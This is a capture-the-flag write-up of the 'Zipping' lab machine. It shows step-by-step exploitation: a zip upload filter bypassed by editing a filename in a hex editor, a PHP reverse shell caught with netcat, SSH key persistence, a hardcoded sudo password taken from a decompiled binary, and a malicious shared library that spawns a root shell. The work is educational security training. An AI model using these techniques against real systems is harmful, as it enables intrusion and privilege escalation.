Zipping

Box info

Enumeration

Nmap

Let's start by enumerating ports using Nmap:

szczygielka@hacks$ sudo nmap -sVC -p- 10.129.229.87
[sudo] password for szczygielka: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 16:37 EST
Nmap scan report for 10.129.229.87
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.34 seconds

Nmap scan results indicate that port 22 is open and the SSH service is running on it, and port 80 is also open with the Apache HTTP server running.

Exploring website

Let's open the address 10.129.229.87 using the web browser. The website appears to be a watch store:

Most of the navbar options on the website are inactive. However, there are 2 interesting navbar options: Shop and Work with Us.

Shop

Clicking on the navbar option Shop redirects us to /shop:

Clicking on the offered product allows you to view the product details and add it to the cart:

After adding the product to the cart, we can place an order:

Work with Us

The second navbar option Work with Us redirects us to /upload.php, which indicates that this site uses PHP. According to the information on the website, the application should only accept zip files containing pdf files.

First, let's check how the website works when you upload a file with the assumed requirements. Let's prepare an example pdf file, e.g. szczygielka.pdf and then let's zip it using the following command:

szczygielka@hacks$ zip szczygielka.zip szczygielka.pdf
  adding: szczygielka.pdf (deflated 7%)

After adding the zip archive to the website and click the Upload button, we receive a hyperlink that allows us to go to the preview of the PDF file.

Preview of the content of the szczygielka.pdf file:

The ability to preview a pdf file may indicate that the uploaded zip archive is being unpacked on the server. We should now check whether it is possible to add files in a format other than the declared one on the website. Due to the fact the website uses PHP, we want to check whether uploading files in PHP format is possible. If we managed to execute the uploaded PHP file, it would allow us to obtain a remote code execution and so reverse shell.

Let's download the reverse shell from this website and change the IP address and port to the one on which we will listen:

Let's try to upload a file with the PHP extension first:

After trying to upload a pdf file without packing it into a zip archive, we receive an error Error uploading file. So let's now pack the php-reverse-shell.php file into a zip archive:

szczygielka@hacks$ zip rev-shell.zip php-reverse-shell.php 
  adding: php-reverse-shell.php (deflated 59%)

Then let's upload the rev-shell.zip archive to the website:

We received the error again, but it is different than the first one and indicates that the unpacked file must have a pdf extension. Let's also check if it is possible to upload only one file in the archive.

Let's prepare a new archive called two-files.zip:

szczygielka@hacks$ zip two-files.zip szczygielka.pdf php-reverse-shell.php 
  adding: szczygielka.pdf (deflated 7%)
  adding: php-reverse-shell.php (deflated 59%)

Upload it to the website:

This time we also received an error. This time the error indicates that the archive should only contain one PDF file.

Let's check if we can send an archive containing a file with a double extension. To a file containing a reverse shell php-reverse-shell.php let's add the second pdf extension and then pack it into a zip archive:

szczygielka@hacks$ mv php-reverse-shell.php php-reverse-shell.php.pdf
szczygielka@hacks$ zip rev-shell.zip php-reverse-shell.php.pdf 
  adding: php-reverse-shell.php.pdf (deflated 59%)

The rev-shell.zip file is successfully uploaded to the website:

It turns out that we can upload a PHP file to the website, but its last extension must indicate the PDF file format. If we could separate the two extensions from each other, we might be able to execute a file containing the PHP code. Let's take a closer look at the zip format because it is sent to the website and then the file is extracted from it.

Bypass zip upload restrictions

Search results for bypassing file upload filters for zip files on the Internet led us to a great article. From the article, we find out that in the zip format, two structures may be responsible for storing the names of files contained in the zip archive. These are Local File Header and File Header in Central Directory. The article indicates that the Local File Header is prefixed to each of the stored files, earlier in the file and the Central Directory is located at the end of the file.

The structure of the zip file is as follows:

The structure of Central Directory:

The article points out that parsers can be confused by placing two different names in each structure referring to the same data, i.e. to this file. Depending on how the zip file is handled, the files it contains can be read, e.g. only based on the Local File Header.

Exploitation

In this case, we will try to use these differences in handling zip files to exploit the target machine. So let's prepare a zip archive containing the reverse-shell.php.pdf file, and then use the hexadecimal editor to edit the filename of the file contained in this archive. However, we do not know whether we should edit the filename in Local File Header or in File Header in Central Directory. So we have to check 2 options.

Since we want to execute the PHP file on the target, we want to prepare the name of the file in such a way that in the case of the php-reverse-shell.php.pdf file, the pdf extension will be omitted. To do this we will try to add one of the whitespace characters, more specifically the space (x00) in one of the filenames php-reverse-shell.php.pdf in the zip.

Let's run the listener on the port we placed in the php-reverse-shell.php.pdf file:

szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...

Let's open the rev-shell.zip file in a hex editor. As we expected, the zip file contains 2 occurrences of the file name php-reverse-shell.php.pdf:

Adding a space in the filename php-reverse-shell.php.pdf, located in the Central Directory:

After saving the changes to the zip file, let's upload it to the website:

Let's open the given address to the uploaded file:

We received a Not Found error in the browser, but in the listener we get the reverse shell:

$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.172] from (UNKNOWN) [10.129.229.87] 39829
Linux zipping 5.19.0-46-generic #47-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 16 13:30:11 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 16:07:28 up  5:47,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
/bin/sh: 0: can't access tty; job control turned off
$

Let's upgrade the shell via the following command:

python3 -c 'import pty; pty.spawn("/bin/bash")'

We got shell as rektsu user.

rektsu@zipping/: whoami
rektsu

Port 22 on the machine is open, so we can generate an SSH keypair for this user. In the -f argument, we provide the name of the files in which the private and public keys are to be saved:

rektsu@zipping:/home/rektsu$ ssh-keygen -f rektsu
ssh-keygen -f rektsu
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 

Enter same passphrase again: 

Your identification has been saved in rektsu
Your public key has been saved in rektsu.pub
The key fingerprint is:
SHA256:ObRvHqSUwpwjCdvxru3c1sbKyI7ge3LIw3xAYtkVZGU rektsu@zipping
The key's randomart image is:
<SNIP>

After generating the SSH keys, we receive two files: rektsu, which is the private key, and the rektsu.pub file, which is the public key. Let's create a file ~/.ssh/authorized_keys and add the public key to it to enable logging in with the rektsu private key on this machine:

cat rektsu.pub >> ~/.ssh/authorized_keys

To get the private key, we can prepare the HTTP server on our target via the following command:

rektsu@zipping:/home/rektsu$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

Then download it:

szczygielka@hacks$ wget 10.129.229.87:8888/rektsu
--2024-02-21 16:23:56--  http://10.129.229.87:8888/rektsu
Connecting to 10.129.229.87:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2602 (2.5K) [application/octet-stream]
Saving to: โ€˜rektsuโ€™

rektsu                                                     100%[========================================================================================================================================>]   2.54K  --.-KB/s    in 0s      

2024-02-21 16:23:56 (54.3 MB/s) - โ€˜rektsuโ€™ saved [2602/2602]

As a rektsu user, we can log in as follows, using the downloaded private key:

szczygielka@hacks$ ssh -i rektsu rektsu@10.129.229.87
Welcome to Ubuntu 22.10 (GNU/Linux 5.19.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Sep  5 14:24:24 2023 from 10.10.14.40
rektsu@zipping:~$

User flag

User flag can be obtained from/home/rektsu/user.txt. Using null-byte injection in zip file upload was an unintended solution, which was patched:

Privilege escalation

Let's start by checking sudo permissions for our user:

rektsu@zipping:~$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

The output of the sudo -l command indicates that the user svc can run /usr/bin/stock with sudo permissions without a password. Let's check what type of file is /usr/bin/stock:

rektsu@zipping:~$ file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped

An attempt to run the binary /usr/bin/stock with sudo fails, because we are asked to enter a password:

rektsu@zipping:~$ sudo /usr/bin/stock
Enter the password:

Let's download the stock file to our attack machine using scp:

szczygielka@hacks$ scp -i rektsu rektsu@10.129.229.87:/usr/bin/stock stock
stock                                                                                                                                                                                                     100%   16KB 139.9KB/s   00:00

We will decompile and analyze the downloaded file using Ghidra. In one of the decompiled functions, checkAuth function we find the string St0ckM4nager which appears to be a password:

After entering the found string as a password, we can run the stock binary:

rektsu@zipping:~$ sudo /usr/bin/stock
Enter the password: St0ckM4nager                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
================== Menu ==================                                                                                                                                                                                                  
                                                                                                                                                                                                                                            
1) See the stock                                                                                                                                                                                                                            
2) Edit the stock                                                                                                                                                                                                                           
3) Exit the program                                                                                                                                                                                                                         
                                                                                                                                                                                                                                            
Select an option:

After testing all possible options in the software, it seems unlikely that the offered functionalities can be used to escalate privileges, so let's check what system calls occur during the execution of this program. To do that we are going to use strace.

It turns out that strace is already installed on our target:

rektsu@zipping:~$ strace
strace: must have PROG [ARGS] or -p PID
Try 'strace -h' for more information.

So let's run stock using strace:

rektsu@zipping:~$ strace stock
execve("/usr/bin/stock", ["stock"], 0x7ffd0d96bbc0 /* 19 vars */) = 0
brk(NULL)                               = 0x56179f642000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffc63e9c960) = -1 EINVAL (Invalid argument)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f55b7049000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=18225, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 18225, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f55b7044000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3206\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2072888, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2117488, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f55b6e00000
mmap(0x7f55b6e22000, 1544192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7f55b6e22000
mmap(0x7f55b6f9b000, 356352, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19b000) = 0x7f55b6f9b000
mmap(0x7f55b6ff2000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1f1000) = 0x7f55b6ff2000
mmap(0x7f55b6ff8000, 53104, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f55b6ff8000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f55b7041000
arch_prctl(ARCH_SET_FS, 0x7f55b7041740) = 0
set_tid_address(0x7f55b7041a10)         = 4547
set_robust_list(0x7f55b7041a20, 24)     = 0
rseq(0x7f55b7042060, 0x20, 0, 0x53053053) = 0
mprotect(0x7f55b6ff2000, 16384, PROT_READ) = 0
mprotect(0x56179d711000, 4096, PROT_READ) = 0
mprotect(0x7f55b707f000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7f55b7044000, 18225)           = 0
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x1), ...}, AT_EMPTY_PATH) = 0
getrandom("\x03\xf4\x2c\x19\x0d\x50\xc7\xc9", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x56179f642000
brk(0x56179f663000)                     = 0x56179f663000
newfstatat(0, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x1), ...}, AT_EMPTY_PATH) = 0
write(1, "Enter the password: ", 20Enter the password: )    = 20
read(0, 

Recent write and read system calls indicate that we should provide a password, so let's do it. After entering the password, further system calls appeared:

<SNIP>
write(1, "Enter the password: ", 20Enter the password: )    = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024)         = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, "\n================== Menu ======="..., 44
================== Menu ==================
) = 44
write(1, "\n", 1
)                       = 1
write(1, "1) See the stock\n", 171) See the stock
)      = 17
write(1, "2) Edit the stock\n", 182) Edit the stock
)     = 18
write(1, "3) Exit the program\n", 203) Exit the program
)   = 20
write(1, "\n", 1
)                       = 1
write(1, "Select an option: ", 18Select an option: )      = 18
read(0, 

One of these systems calls seems to be interesting:

openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

The output from the strace indicates that stock binary is trying to open the file /home/rektsu/.config/libcounter.so but cannot find this file. The extension of the file libcounter.so indicates that it is a shared library.

So we can write our own shared library /home/rektsu/.config/libcounter.so in C/C++, which will be called indirectly using binary stock. Since stock will run with sudo privileges, calling libcounter.so should allow us to escalate privileges. To elevate our privileges, we will want to invoke bash in privileged mode with the following command:

bash -p

To create the libcounter.so library, let's first prepare the lib.c file on our attacking machine with the following code:

#include <unistd.h>
#include <cstdlib>

void begin (void) __attribute__((destructor));

void begin (void) {
    system("bash -p");
}

Using a destructor in this file will cause the begin function to be called when the shared library is unloaded, which usually happens when exiting the program.

Let's save the file and then compile it to object format using g++:

szczygielka@hacks$ g++ -c -o lib.o lib.c

And then let's create the library libcounter.so using the object file lib.o:

szczygielka@hacks$ gcc -shared -o libcounter.so lib.o

Send the prepared library to the /home/rektsu/.config/ directory located on our target using scp:

szczygielka@hacks$ scp -i rektsu libcounter.so rektsu@10.129.229.87:/home/rektsu/.config/
libcounter.so                                                                                                                                                                                             100%   15KB 197.6KB/s   00:00    

Now let's execute binary stock with sudo permissions, provide the required password, and then let's exit the binary:

rektsu@zipping:~$ sudo stock
Enter the password: St0ckM4nager

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: 3
root@zipping:/home/rektsu#

After exiting the program, we become the root user.

Root flag

All previous steps lead us to the root user. The root flag can be obtained at /root/root.txt.

Last updated